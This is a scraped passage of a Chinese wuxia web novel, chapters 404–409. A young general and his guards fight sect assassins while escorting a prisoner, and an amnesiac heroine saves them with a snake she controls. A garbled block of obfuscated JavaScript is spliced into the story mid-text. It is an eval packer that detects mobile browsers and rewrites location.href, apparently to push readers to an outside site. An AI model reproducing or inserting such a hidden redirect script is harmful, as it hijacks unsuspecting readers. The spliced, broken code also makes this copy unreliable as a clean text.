霍青行的胳膊上挨了一刀,但反手便是一剑过去,削掉了对方一条胳膊,鲜血喷溅的瞬间,是对方方寸大乱的时候。 原本井然有序的进攻、防守阵势,被霍青行瓦解,瓦解之后便是挨个收拾,逐个击破。 先收拾在树上蹦跶的,已然断了一条胳膊,自然无法再蹦跶,遁地那位见着兄弟失手,赶紧冲上来护着,奈何为时已晚,霍青行是不会给他们卷土重来的机会。 手起剑落,人头落地。 “兄弟!”遁地那位一声喊,回头便见着冷剑穿喉而来,登时眼珠子都瞪大了,张嘴便是鲜血喷涌,连哼都来不及哼,就直挺挺的倒了下去。 霍青行拔剑,将剑上的血在他们身上擦干净,这才利落的收剑归鞘。 “少将军?”迎春上前。 霍青行身上有伤,这两个还是有点本事的,但估计不是最顶尖的,否则必定有一场更惨烈的恶战,而不是像现在这样。 “我没事。”霍青行看了一眼背后。 差一点这一刀就砍中要害,如今只是伤及皮肉,倒也没什么大碍。 “这……”冬梅迟疑。 林序上前,“少将军,这路不好走。” 他们都清楚,这只是个开始,长乐门的人势必要让他们死在这山里。 众人皆回头看向怪人,他似乎很少出来见光,所以在光亮处显得很是虚弱,瞧着有点怕光,整个人蜷缩在树荫底下,恨不能将自己藏身在黑暗中。 “背上他,我们继续走。”霍青行沉着脸。 如今只能继续往前走了,除此之外别无他法。 长乐门笼络了不少江湖高手,估摸着都冲着他们来了,这下子可就真的棘手了,他们就这么点人,要拼出去只能靠霍青行一马当先。 “少将军?”林序犹豫,“要不然你一个人先走吧?” 这么多人只会拖少将军的后腿,万一少将军出事,他们几个人**也就罢了,可边关、可老将军那边该如何交代? 不成! 这绝对不成! “不管什么时候,都要以将军府为上。”林序低声开口,“我们……” 霍青行皱眉,“你什么时候变得如此婆婆妈妈?这般优柔寡断?此前迎战的时候我是怎么教你的?你浑都忘了?” 林序被噎了一下。 “上了战场那就是兄弟,过命的兄弟,同进退,共生死。”霍青行皱起眉头,“你这胆子是愈发的小了,竟也开始说起贪生怕死的浑话。” 林序垂下眸子,“老将军只剩下你了。” “你知道我在做什么吗?他事关陈家。”霍青行开口,“还有裴家。” 林序眼前一亮,回头看了一眼怪人,愣是说不出话来。 “你说,我能先走吗?”霍青行问。 林序摇摇头。 “二十万大军啊!”霍青行眯起眸子,“二十万条无辜的性命,纵然拼上你我……都值得!” 林序行礼,“卑职错了,请少将军恕罪。” “一定要出去!”霍青行拍拍他的肩膀,“一定要护着他。” 林序颔首,“卑职明白!” “都别颓丧着一张脸,我们都要活着走出去,长乐门的人,肯定已经琢磨着,要怎么搬挪离开,留给我们的时间并不多。”霍青行看过来,“上有伞,下无遮,不知耻,无休止。” 有人要护着此处,所以消息很难传出去,也没人会管,无人敢管,这才是最悲哀之处! “遮羞布要一点点撕开,但现在只能靠我们自己。”霍青行握紧手中剑,“走吧!” 护卫背上了怪人,在他头上套了个外衣,这样他就不会瑟瑟发抖了,因着身上的伤和毒,他在阳光底下就处于昏昏欲睡,虚弱至极的状态。 如此,甚好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262852|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要他不挣扎,他们就可以腾出手脚做事。 杀了两个江湖高手,接下来还会有更多的高手,霍青行边走边想,要是月儿在,兴许更能快准狠,她总有一秒制敌的招数,也不知道她现在如何? 待天色暗下来,一行人便窝在了树后,稍作休息。 夜黑反而安全一些,所以得先吃点东西喝点水,缓一缓再继续朝前走。 四下,夜风呼啸而过。 所有人都躲在灌木丛里休息,林序凑近了霍青行,“少将军,我怎么觉得有点不安心呢?” 略有心慌。 霍青行也是如此。 这附近怕是有恙。 “小心点,别动。”霍青行瞧了一眼众人。 对方估计也在观望之中,敌不动我不动,以静制动。眼下这种状况,他们不适合率先出手,所以得先等一等,且……要知道对方藏在何处? “是!”林序颔首。 不敢动。 他自己都还没恢复,怎么敢给少将军添麻烦。 以不变,应万变。 四下有些安静,瞧着好像是没什么大碍,但霍青行知道,有一双眼睛正在盯着他们,对方应该探知了他们的位置,正合计着要如何下手呢? 不能轻举妄动。 霍青行背靠着树干,扬起头恨恨闭了闭眼,怕是要动手了…… 蓦地,寒光乍现。 霍青行冷不丁摁住了林序,拂袖便是丢出一颗石子。 只听得“叮”的一声响,伴随着暗器偏离方向,狠狠扎在了树干上。 说时迟那时快,霍青行纵身而起,冷剑划破夜空,嗡声长鸣…… 打斗声响起的那一瞬间,冬梅和迎春便护着怪人退到了一旁,小心躲藏,以免对方忽然将矛头对准自己,另外便是谨防暗箭伤人。 他们的目标就是保护这怪人,不管什么时候都要护着他,拼死护着! 两男一女,瞧着是兄妹结盟一伙人。 这三人着装怪异,或嗓音尖细,或雄壮如牛,或结结巴巴,也不知是江湖上的哪一号人物?但霍青行不敢松懈,空气里弥漫着一股异香,他第一反应便是往嘴里塞一颗解毒丸。 这是跟着陈识月久了,养成的一种自我保护习惯。 第四百零五章 她用她的方式,一直护着他 霍青行速度很快,遇见三对一,双方都在摸底,以免丧失先机,是以交手初期,大家都有所收敛。 林序在边上看出来了,“好阴毒的功夫。” “这三个……”迎春犹豫着,和冬梅对视一眼,“不会是江湖上那赫赫有名的那三兄弟吧?” 冬梅皱眉,“我看像!” 这武功路数,这阴狠毒辣的招数…… “坏了!”迎春心下咯噔,“小心,他们会用毒。” 长乐门不是什么好地方,一个个腌臜的手段层出不穷,所以在他们这里,用毒几乎成了一种习惯,这种杀人于无形的偷懒杀人方式,是最简便的。 只要,你够毒。 事实证明,的确如此。 还好霍青行早就有所防备,嘴里塞了一颗解毒丸。 香味混合着臭味,不断的往鼻孔里钻,可真是让人难受得紧! “好用毒?”林序愕然。 迎春颔首,“这三人臭名昭著,在江湖上也是人鬼憎厌,心狠手辣,恶毒至极,当初还祸害了一村子的人,被江湖人追杀。没想到消失了那么多年,竟是藏在这山中,为长乐门所用?” 这样可恶的东西,居然都还活着? 真是好人不长命,恶人活千年。 “这么歹毒的东西,应该让月大夫来治他们!”林序脱口而出。 话说出去,三人面面相觑,都没了下文,他们都很清楚,月大夫这一时半会是回不来的。 “小心!”冬梅骇然低喝。 拂袖间,便打落了一枚暗器。 “该死!”林序低喝。 这三个狗东西缠着霍青行,让他分身乏术,而其他人则一拥而上,直扑怪人而去,显然是目标为他,明确明了明白。 “杀!”林序低喝。 冬梅首当其冲,“迎春,你去保护人,其他交给我。” “好!”迎春提剑退后。 冬梅则当头迎上,杀一个是一个,杀两个就是赚的。 林序虽然没恢复,但还有一半功力,做不了身先士卒的卒,做点力所能及的事情,是没问题的。 刀光剑影,冷兵器的碰撞之音响彻山野。 厮杀。 活命。 霍青行只觉得眼前有些眩晕,若不是这解毒丸,怕是早已倒下,但对方的狠辣超乎常人,他们三个能为非作歹,灭整个小山村,足以说明手段凌厉。 这毒……亦是凌厉。 “瞧着倒也是个俊俏的小郎君。”那女子笑盈盈的开口,“大哥二哥,可要将他留给我,待我玩够了再杀他不迟。” 另二人哈哈大笑,“放心,知道你好这一口,肯定会给你留着的,到时候留一口气……” 三人将目光落在霍青行的身上,只瞧着霍青行似乎有些身形晃动,好像连剑都握不住了,心头更是舒坦不少。 “看样子,是扛不住了!”女子更兴奋了,“拿下他!” 三个字,三个人就拼了命似的往前冲,直扑向霍青行,那阵势自然是非拿下他不可,尤其是趁他中了毒的时候! 谁知…… 霍青行忽然眸光陡戾,冷剑猛地划开了其中一人的咽喉,速度之快,快如闪电,压根不给他们任何人反应的机会。 鲜血喷溅的瞬间,是尖利的惨叫,“大哥!” “大哥!” 他们谁都没料到,眼见着霍青行中了毒,身子都摇摇欲坠快不行了,转瞬间竟神志清楚的站直了身子,下手极为快准狠的抹了他们大哥的脖子。 二人死命捂着老大的脖颈,奈何鲜血止不住的往外涌,他连哼都来不及哼,就已经撒手人寰。 霍青行站在那里,剑太快,血都没溅上半点,就已经抹了其中一人的脖子,这会一对二,胜算似乎又更大了一些。 大哥死了,剩下老二老三,这会恨得牙根痒痒。 “我要你为我大哥偿命!”二人飞扑而上。 霍青行冷哼一声,就他们这些小伎俩,也敢在他跟前耍弄?要不是他此前耗费了太多的精力,必定早就收拾了这些腌臜东西。 双方打得那叫一个难舍难分,一个九节鞭,一个大刀,舞得虎虎生风。 林序这边也是不遑多让,冬梅手中持剑,一剑一个,到了最后也分不清楚,身上的血到底是谁的?是自己的?又或者是别人的? 总归来都来了,谁也别想跑! 空气里弥漫着浓郁的血腥味,尸体横七竖八的躺在树下,挂在灌木丛上,及至最后一个都没剩下。 冬梅站在那里身形一晃,幸被冲出来的迎春当场扶住。 “没事,就是用劲有点狠。”冬梅打了个饿嗝,“等出去之后,我定要好好的吃一顿。” 进山这段时日,她是真的一顿都没吃饱过,要不然,凭她这一身蛮力,这些人哪儿是她的对手?她早就如之前那般,活撕了他们! “饿了?”迎春了悟。 冬梅又打了个嗝,“嗯。” “回去让你吃个饱。”迎春打包票。 冬梅连连点头。 林序在周围绕一圈,该补刀的补刀,不可放过一人,以免到时候被垂死之人暗算,那可真是不值当。 即便是在战场上,也要防着敌军装死。 这是惯例! 还好,都解决干净了。 只是霍青行那边,打得还是有些激烈的。 “冬梅,去帮忙!”迎春忙道。 冬梅和林序对视一眼,旋即往前冲,挡住了那个女子。 如此一来,胜算就更大了。 解决了周遭危机之后,再逐个解决这兄妹二人,这样大家都安全了,冬梅加上没恢复的林序,对付这女子倒也是极好的。 如此,霍青行便可以专心对付那个老二。 不得不说,这老二是有点厉害,但他们唯一算错的就是自己的毒功,霍青行的确是中了毒,可此前陈识月给他吃的那一枚祖传的救命药,却能让他有了抗毒的能力,可抵御一般常见的毒物,又加上他提前含了一颗解毒丸,所以他们三个根本毒不了他。 即便他的月儿不在身边,也会用另一种方式保护着他! 一剑穿胸,再来割喉。 鲜血如注,一命呜呼。 “二哥!”女子当即想跑。 可惜,晚了。 趁其不备,分神之际,冬梅登时飞身上前,速度之快,一掌便穿了她的胸膛,让她被活生生掏心而死。 死之前,她倒在地上扑腾了两下,眼睛睁得斗大。 “你害他人性命的时候,欠了那么多条人命之时,就该想到会有这么一天!”冬梅是故意的,这种死法才算是出了一口恶气。 坏人就不该死得太痛快,得痛苦死去,至少临死前要感受到痛苦,才对得起那么多无辜之人。 “少将军?”林序担忧。 霍青行擦干净了剑上血,收剑归鞘,“我没事,咱们快走!” 第四百零六章 这群矮子,吵得人耳朵疼 话是这么说,但霍青行还是有些疲倦的,悲伤的伤不怎么严重,可对方刀刃都淬了毒,尽管服了解毒丹,还有自身的解毒能力,可也需要时间来缓冲。 “少将军!” “少将军!” 几声惊呼,伴随着霍青行直挺挺的倒下来。 像是有所心理感应,陈识月猛地顿住脚步,下意识的摸上自己的心口位置,这猛然间的抽痛,让她呼吸微窒,所幸扶住了身边的树,微微蜷起了身子。 好半晌,她才缓过劲来,徐徐在原地站直,若有所思的环顾四周,虽然不知道方才究竟是什么缘故,可之前长雾也提及了,有关于他们天生一对的说法,说不定这一对是对给别人的。 她对他,真的提不起半点兴趣,甚至于带着本能的厌恶。 这样的一个人,怎么可能是自己的另一半? 相互扶持,相携一生的人,不可能是这样的感觉,她相信自己的直觉,不可能选一个自己不喜欢的人共度余生。 她要离开这里,先摆脱被人桎梏的命运,再去查清楚自己到底忘了什么?落在别人手里,什么都是他们说他们说,她才不会相信。 编织的谎言漏洞百出,自己得来的真相才值得几分真心。 蓦地,空气里漾开了若有若无的血腥味。 陈识月心下一惊,旋即蹲在草丛里,谨慎的环顾四周。 没什么风吹草动,没什么异常。 但这味道…… 她猫着腰,小心翼翼的往前挪动,最后停下来,瞧着不远处落在地上的脑袋,顿时头皮发麻,一屁股坐在地上。 这大晚上的,忽然有一颗脑袋直勾勾盯着你,换谁不得吓一激灵? 须臾,她捂着心口爬起来,猫着腰小心的靠近。 这才惊觉此处到处都是打砸过的痕迹,应该是高手较量,死了三个人,尸身都不完整,可以用东一块西一块来形容。 这样的较量,必定是惨烈的! 深吸一口气,陈识月站直了身子,努力平复自己的心绪,这血腥味还没散,伤口的血虽然凝固了,但微光中还能看得出来很新鲜,所以杀人者还没走太远。 且看周遭草植和树木被破坏的迹象,双方人数都不少。 想了想,她又在周围绕一圈。 不是双方人数不少,而是一方完全胜出,一方死在这里,那逃离的一方是否就是……想离开之人?出山的人? 这么一想,陈识月的眼睛忽的亮了。 跟着这些人的行踪,是不是就可以出山了?离开这茂密的林子,就可以走进村落或者是城镇,要么是进城,那就可以彻底甩掉长雾那个又蠢又坏的狗皮膏药。 思及此处,陈识月登时连脚步都轻快了…… 跟着他们,就能走出去了! 但是,她又发现了一个问题,那就是这附近不安全,好多人都在朝着这边靠拢,大有合围之势,这是要把这些人剿灭在包围圈内? 若是如此,那自己跟在后面岂非危险至极? 可她,不认识出去的路啊! 罢了,就这样吧! 天黑路难行,还得避开那些追捕之人,所幸她只是一个,所以目标很小,只要悄默默的躲着,便没什么大碍。 因为霍青行连斩五个高手,这下子谁也不敢轻易的靠近,即便是领了门主的命令,也无人敢轻易的去触霉头,谁知道这活阎王什么时候就动了手? 活阎王下手,必定不死不休! 不过这会,霍青行还没苏醒,人都还晕着呢,被护卫背着朝前走,若是真的来人,只能是冬梅和迎春挡一下。 只不过,他们可能真的出不去了。 一下子冒出那么多的土拨鼠,挡住了他们的去路,冬梅和迎春旋即上前,林序护着所有人后退,现在这种状况,只能是拼一把。 “交给我们!”冬梅和迎春上前。 虽然都有伤在身,但也没别的办法。 陈识月这会就在树上挂着,因为距离有些远,看不清楚,但她能清晰的听到来自于女子的声音。 “一帮狗东西,会一点功夫就在这里助纣为虐,今日姑奶奶就让你们知道,什么叫恶有恶报!”冬梅气愤不已。 一路追杀,不死不休,实在是可恼可恨! “他们若是有人性,便不会拦在此处,你说那么多不是对牛弹琴吗?”迎春冷剑出鞘,“少废话,今日不是你们死,就是咱们输了。” 刀剑上见真章吧! 这群土拨鼠一样的矮子,来势汹汹,不似之前那几个几个的,这一来有七八个,竟好似列开了法阵了一般,每个人的双手都套着一根绳,绳索的末端悬着一枚铃铛,这铃铛平日里都是用棉花塞着,只有用的时候才会取下棉花。 取下棉花,这铃铛就会随风响,这七八个人提着铃铛在你耳畔叮当作响,脑瓜子都好似要被震开,吵得冬梅愈发暴躁,迎春也跟着心内浮躁。 铃铛的声音传出去甚远,尤其是这漆黑的山林之中,连带着陈识月都皱起了眉头,只觉得好吵。 这不会是所谓的攻心之术吧? 陈识月皱起眉头,抱紧了树干,烦躁得想打人。 冬梅更甚。 冬梅的脾气本来就不好,尤其是经过了这么多的事儿,这会人都饿疯了,还有人要挑衅她,这冲天炮一样的脾气,是再也挡不住了。 还不等迎春开口,冬梅已经“咻”的一下蹿了出去。 这帮狗东西,早死早超生。 “中计了。”陈识月小声嘟哝。 对方明摆着是要攻心,但凡失了方寸,就会被对方拿捏,所以这下子……窜出去的那一刻,冬梅提剑便杀,谁知这帮小矮子瞧着不起眼,实则也真的不起眼,哧溜一下就跑了。 不应敌,不交手,只跑……那叫一个泥鳅般的顺滑,冬梅一腔怒火卡在枪膛里,咽不下吐不出,还得被这帮矮子遛着走,更是险些气得七窍生烟。 迎春就聪明多了,眼见着形势不对,当即明白过来,这是在耗体力,用一种他们独有的阵法,将人困在其中,以铃声干扰心绪,其后利用人性的不耐激发劣根性,就像是猫捉老鼠不等着吃,先玩一通再说。 “冬梅,你莫要中计!”迎春急了,“他们在激怒你。” 可铃声太吵闹了,冬梅哪儿还听得清楚。 她这东一剑劈下去,西一剑划开,愣是没伤及这群矮子分毫,倒是被矮子耍得团团转,气得冬梅就更气了,黑暗中吭哧吭哧的大喘气。 “我杀了你们!我杀了你们!”冬梅厉喝,“别摇了,别摇了!” 铃声吵扰,耳蜗仿佛都被吵疼了,整个人都陷在丁零当啷声响之中。 第四百零七章 好像打通了她的任督二脉 冬梅开始了厮杀,但不管她怎么做,都无法触碰到这些矮子,这些人借着夜色宛若泥鳅,连皮毛都不曾伤着,实在是可恨至极。 迎春想冲上去,奈何却被他们挡了回来。 这是走的逐个击破的路线? “小心,他们这是布的迷魂阵。”林序疾呼。 迎春握紧了手中剑,“迷魂阵也得闯,不然冬梅会迷失其中。” 语罢,她纵身一跃。 两个人分担一下,总好过一个人盲目如没头苍蝇。 陈识月还在树上挂着,听得那边女子的怒喝,不由得心下微沉,油然而起一股子不舒服的情绪,弥漫在心头不去。 这是恃强凌弱? 欺男霸女? 欺负弱女子? 哦不,虽然不是弱女子,但是一群人打两个姑娘,确也是太缺德了,她实在是看不下去,总不能什么都不做吧? 可是,她要怎么做呢? 陈识月刚爬下树,冷不丁瞪大眸子,瞧着忽然抬起头的长阴,整个人都僵在了原地。 一人,一蛇。 黑灯瞎火。 树下撞了个对眼。 那一瞬间,也说不出来到底是谁更尴尬? 长阴默默的矮了身子,盘踞在草丛里,长雾不紧不慢的从它身后走出来,就这么直勾勾的盯着陈识月,也不知道是什么情绪,总归有点阴森森的。 “你觉得你能跑出去吗?”长雾开口,“下手那么快,倒是出乎我的意料,但可惜了……” 他自身解毒的能力,也胜过寻常,有些手段用在他身上,的确没什么大用,只能算是拖延,近距离的时候他与她是会有羁绊的,所以只要寻到她的踪迹追上来,就一定可以找到她。 连带着长阴,都有此能力。 陈识月深吸一口气,“我要出去。” 这话说了八百回。 “我带你出去。”他这次倒是爽快。 陈识月指了指前面,“带他们一起。” 这就让长雾不明白了,“为什么?” “因为那两个女子。”陈识月直言不讳,“同为女子,我就是见不得女子吃亏,尤其是以多欺少,恃强凌弱,更是该死!” 长雾上前一步,“这不是你该管的事情,每个人都有每个人的命,他们的命合该丢在这里,你如何能捡回去?纵然是大夫,也不可能起死回生。大罗神仙那么多,你何曾见过他们对凡人施以援手?不过是寺庙里的泥塑木雕,哭一哭求个心安便是,你还真的想自己坐上去?” “我成不成佛,都跟你没关系,我救不救人,也是我自己的事情,你只要别拦着就好。”陈识月退后一步。 她扶着树干,冷眼睨着他,微光中颇有几分剑拔弩张之感。 “我若是非要拦着呢?”长雾瞧了一眼远处。 说好听了是缘分,说不好听,那叫冤家路窄。 明明都洗了她的记忆,她还能靠着直觉走向他,可不就是冤孽嘛! “你若非要拦着,我也只能是放手一搏,大不了彼此都吃点亏嘛!”陈识月冷眼看着他。 长雾有些后悔,在她昏迷的时候,没把她身上那些东西都卸了,原以为她失去了记忆,便不会知晓用途,没想到这些刻在骨子里的本能,还是在关键时候帮了她,给他添了堵。 银针在手,她什么都不怕。 没了记忆,反而没了顾虑。 这算不算因祸得福? “你手无缚鸡之力,一介女流之辈,能做什么?”长雾退了一步。 听他这语气,多半是试探。 “我与你不熟,怎可与你交底,是你蠢还是我蠢?”她翻个白眼,转身就走。 长雾紧随其后,“你只会去送死……” 他刚抬起手,长阴忽然哧溜一下挡在了他前面。 长雾:“??” 陈识月顿住脚步,“不好意思,我发现我好像……能控制它。” 长雾:“……” 自己那药还有开智的作用? 好像她对自身的认知,愈发的清晰明了,这种心无旁骛的专注,让长雾觉得很不舒服,明明是想趁着她失忆而控制她,可到了最后却像是成全了她? 这可不是什么好事! 吵闹的铃铛声响,让所有人都跟着烦躁,若是遇见脾气暴躁的,这会已经开始蹦跶了。 冬梅的背上挨了一刀,若不是迎春下手快,挑开了袭来的第二刀,冬梅大概是要交代在这了,只是这一刀也挨得不轻。 对方依旧阵法玄妙,而迎春和冬梅则深陷其中,若是再这样下去,恐怕一个都落不了好。 林序急了,“冬梅?” 可周遭忽然冒出了几个黑影,就这阵势迫使林序和其他护卫,不敢轻举妄动,他们都是伤员,只能先护着怪人和昏迷的霍青行。 “该死的!”林序切齿。 这种局面对谁都没好处,只能继续僵持着,但若是冬梅和迎春不能破出这阵,那么…… 迎春胳膊上受了一刀,慌忙身形侧开,黑暗中的矮子就跟毒箭似的,随时都能伤人,刀子再度袭来的瞬间,眼见脖子要挨上一刀,冬梅慌忙将人推开。 即便如此,肩头也被划破。 迎春就地一个驴打滚,快速爬了起来,一颗心已然沉到了谷底。 完了,少将军还没醒来,她们怕是支撑不了太久…… 夜色沉沉,寒光如刃。 铃声吵得人耳蜗疼,足以乱人心志。 忽然间,冷风骤袭。 一个两个都还没反应过来,便惊觉呼啦一声响,风已至眼前,腥味伴随着阴戾之气,劈头盖脸的砸过来,几个矮子被狠狠的撞飞出去。 长雾:“……” 完了! 门主这会是真的要抓住自己的把柄了。 陈识月却用得顺手,心念动,蛇尾动,刹那间一个巨蟒扫尾,人力根本无法抵御这般强大的劲道,直接破了这些铃铛声,破了这诡异的阵法。 耳根忽然清净,风一吹,脑子也跟着清醒起来。 冬梅站在原地发愣,迎春慌忙拽了她一把,“快,走!” 这个时候,不管是谁帮了她们,也不管这大蛇为什么忽然如此,护住怪人和少将军才是重中之重。 林序一见阵破,二话不说提剑就砍,对于围上来的这帮人,见一个杀一个,闭着眼睛也要杀出重围,“快走,冲出去!” 瞬间,护卫紧随左右。 长乐门的这些追兵,本就是乌合之众,没有那些江湖高手打头阵,他们根本就不敢靠近霍青行这位活阎王。 活阎王底下没活口,这事在长乐门早就传遍了…… 迎春与冬梅相互搀扶,紧随着众人快速往前跑,只是……回头望去,委实没见着人,连那条大蛇也不知道去了何处。 这么一扫尾,是为了救他们吗? 为什么? 那疯子不是想把他们赶尽杀绝? 第四百零八章 他好像,快不行了 迎春心中诧异,但也没敢深究,只能先护着少将军他们离开。 在他们跑出去没多久,陈识月才慢慢的从树后走出来,徐徐伸出手。 长阴忽如哈巴狗一般,将脑袋凑了过来,任由她的掌心落在它的眉心,摸着它的脑袋,一脸的温和之态,“以后乖乖听话,不要跟着某些狗东西干坏事,做好事会化龙哦!” 说着,她指了指天空,做出飞升的手势。 也不知道长阴有没有听懂,总之这笨蛇居然轻轻的圈住了陈识月,然后……乖乖成了她驯服的坐骑,瞧着好像卖乖讨巧的。 长雾:没眼看。 “回来!”长雾低喝。 长阴不动。 大概是累着了,陈识月这会有些虚弱,整个人蔫蔫的,就任由长阴卷着她,她则软哒哒的伏在长阴的背上,“乖,跟着他们跑。” “长阴,你想死吗?”长雾怒然。 长阴懒洋洋的扭着身子,背着陈识月往前走,就这么远远的跟在霍青行他们身后。 长雾:“!!” 这个背主的玩意?! 养了这么多年,谁知道竟然会养出这么一头白眼狼。 不对,是白眼蛇! 长雾呼吸微促,实在是没料到赔了夫人又折兵的事情,事情发生在自己的身上,明明在别人身上试的药,都能发挥出最大的药效,可到了陈识月这里,药效发不发挥暂且不说,自己是实实在在气个半死。 简直是岂有此理! 可偏偏,她身上是母蛊啊! 长阴追着母蛊去了,而且是头也不回的那种,它本就是蛊而饲养,此番更是毫不犹豫。 “你好像做了赔本的买卖。”有人忽然出现在身后,阴测测的开口,“你确定还要放任不管?若是坏了我的计划,你可知道有什么后果吗?” 长雾转头看他,“我可不是那些蠢货,听你吩咐卖命,你当认清楚现状。是你有求于我,而不是我要依赖于你,如今这般言语,是忘了自己的初衷吗?” 黑衣人不说话了。 “你虽贵为长乐门的门主,在旁人眼中的确身份不俗,确实也是个人物。”长雾不急不缓的开口,嗓音里透着几分讥笑之,“可你这条命能活多久,也取决于我能活多久。” 双方僵持着,原以为是和睦的一家人,没成想竟也是各自为谋。 “门主,我是护法,但我只是护你一人,别把我当成你的下属,我跟长乐门的所有人都是不一样的。人前我愿意给你面子,还望人后大家各自静守规则。” 长雾低哼一声,当即拂袖而去。 蔓草丛生,林木茂密。 他走得那样恣意潇洒,全然不把任何人放在眼中。 想来也是,本就不是笼中鸟,是被诱哄来的,能收敛爪子只是因为他还没找到让他感兴趣的事情,只能老实待在门主身侧。 但是现在,长雾找到了让自己感兴趣的事。 比如,陈识月。 子蛊找到了母蛊,本来就是吸引所在,其后便是她这一身的好医术,让长雾迫切的想知道,她到底还有多少本事? 及至人影消失,有人低声开口,“门主,护法会不会生了二心?” 门主回过神来,“那倒不会,但是……终究不是好事。” “那要不要……”身后的亲随低语。 门主抬手,“暂时别动他,我也想看看,他与这女子到底谁更胜一筹?” 亲随显然是愣了一下,其后好似想明白了什么,“若是那女子胜出呢?” “那就把她重新请过来。”门主负手而立,“本座需要她。” 至于不需要的废物,就可以彻底消失了。 但眼下,他还得好好观望。 长雾一脸便秘的跟在长阴后面,瞧着这笨蛇巴巴的哄着陈识月,然后慢慢悠悠的驮着她往前走,越想越气,越想越气…… “长阴!”气到最后,长雾一声低吼。 长阴回头看了一眼,没理他。 她身上是母蛊,这才是问题的关键,它从蛊,更从母。 “早知道就养一条母蛇了。”长雾裹了裹后槽牙。 陈识月只觉得累,就好像驱动了体内的力量之后,她便会精疲力竭,这种感觉让她十分不爽,既是入了自己的身子,理该成为她的一部分,理该由她支配,而不是受挟于它。 夜色沉沉。 一波刚平,一波又起。 霍青行幽幽醒转,身子虽然还有些虚弱,但好歹是醒过来了,“我这是……怎么了?” “少将军,你醒了。”林序差点喜极而泣。 醒了就好,醒了就好。 护卫扶着霍青行坐在了溪边,一个个目光灼灼的盯着他,看着他就仿佛看到了希望。 “我这是……”霍青行揉着眉心,好半晌才想起来发生了什么,不慎被人算计,最后眼一闭便晕死过去,好在没什么大碍。 陈识月的那颗祖传秘药,可真真是极好的! 霍青行摸了摸自己的胸口位置,这位置还有些憋闷,不过喝了点水之后,倒是顺畅了不少,人也跟着脑子清楚起来。 “没事了。”瞧着众人这般期待的神色,霍青行徐徐站起身来,“都没事吧?” 冬梅和迎春摇摇头,林序如释重负。 如此,甚好。 大家都没事,那他就放心了。 怪人缩在角落里,这一路居然也没怎么挣扎? 霍青行上前,“他如何?” “一直都是这样。”林序解释,“白日里怕光,夜里会稍微好一点,但不会挣扎也没有再如之前那般抗拒。只是,卑职瞧着他……似乎状况不太好。” 离开了那个山洞,受了伤中了毒,他好像整个人都蔫吧了! 是因为没有食人藤的保护? 还是因为病来如山倒? 他们都不是大夫,做不出准确的判断,只能干看着,瞧着这怪人逐渐萎靡下去,真怕他走不出这山,到时候岂非白忙活一场? 霍青行徐徐上前,愈发凑近了怪人。 怪人蜷缩在石头边上,好像连脑袋都抬不起来了,如林序所言,整个人的状态似乎都不太好。 “你……还好吗?”霍青行低声开口。 怪人无力的抬起头来,就这么直勾勾的盯着他。 蓬乱的发,乌糟糟的容脸,骨瘦如柴的身子,连伸出来的手都是脏得瘆人,指甲锐利如爪,他的指甲轻轻戳在了他的面上,好像是要摸一摸,未曾用力。 却看得周遭众人提心吊胆,生怕他忽然用力,到时候伤及少将军。 “少将军,小心些!”林序声音都带着几分颤。 霍青行不在意,平静的看着怪人,“你认识我,对吧?” 或者说,是对他这张脸有几分眼熟,掩于岁月之中,藏在记忆深处,忽然间翻涌而出…… 第四百零九章 她,近在咫尺 怪人瞧着霍青行,似乎是想说话,可他张了嘴,只发出了低低的呜咽,不知道是太虚弱,还是一时间忘了要如何组织语言? “你别着急,等我们出去之后,有的是时间慢慢恢复,等你恢复过来就可以帮着我们查清楚一些事情。”霍青行握住了他的手,“你一定要撑住。” 怪人没说话,只是定定的注视着他。 气氛有些凝重,林序垂下眼眸,他太清楚这个怪人对于当初潜龙关一战的意义所在,这怪人说不定知道是谁从中作梗,成为最后的人证。 那一场战,太惨了! 他们一定要为无辜枉死的将士,讨回一个公道。 “走吧!”霍青行开口。 护卫背起了怪人,一行人心事重重的,继续往前走去,再坚持坚持,可能就出去了。 但是,长乐门的人不会放过他们。 越靠近山下,越是杀戮深重。 他们得想个办法,怎么能避开这些长乐门的人,平安的把怪人送出去呢? 身后长乐门的人穷追不舍,他们这一群伤兵已经快到体力的极限了,双拳难敌四手,再好的将军也扛不住车轮战的碾压。 人毕竟是血肉之躯,都有疲惫和无力的时候,所以这会…… 每个人都是沉默的。 死亡的阴影笼罩在心头,不是怕死,只是怕死得没有价值,没有意义,尤其是现在这种状况,身为将士没死在边关战场上,却死在长乐门这些宵小之辈手中,谁能甘心? 如果从那山边崖壁过去的话,是不是会好一些?直接从崖壁下去,可直达山脚,但是岩壁湿滑,尤其是他们这些人都各有负伤。 体力上,他们可能支撑不住,何况还背着一个人…… “先看看情况再说。”霍青行也不敢轻易的下决定,凡事还要量力而行,“不要轻举妄动,我们都经不起折腾了。” 尤其是得护着那怪人。 众人不吱声,只等着最后结果,只要少将军一句话,赴汤蹈火,在所不辞。 霍青行冷着脸,面色平静的看向众人,“我先试试。” 不远处,黑漆漆的人影晃动,想必过不了多久就会围拢而来,到时候他们就真的成了困兽之斗,杀出去不容易,活下来也不容易。 崖壁边上有藤蔓,若是攀着这些藤蔓,倒是能省一些气力,只是这崖壁有些陡峭有些高,若是要有所动作,就得沿着既定的路线下去。 是的,得找好路线。 这事儿就得霍青行亲自来,毕竟他们的功夫都不如他。 “你们看好此处。”霍青行没有犹豫。 要么杀出去,要么探路。 “是!”冬梅和迎春看了一眼远处。 那些人也都处于观望状态,一个两个都没敢轻易靠近,呵,怕霍青行出手,怕她撕碎了他们?真是一帮怂货。 “你莫要冲动!”待霍青行下了崖之后,迎春忙不迭低声叮嘱,“凡事要以少将军的命令为主,不可坏了大局。” 冬梅深吸一口气,“你只管放心,我也不是这般蠢货,眼下这境地,我会收敛的。” 何况,她是真的饿了。 饿得想吃人! 大概是察觉到了这边的戒备,那些人没敢靠太近,只是远远的围着,于这深山之中若无粮食和水,迟早也是个死,若是如此……不费一兵一卒,甚至于不需要见血,就能得偿所愿。 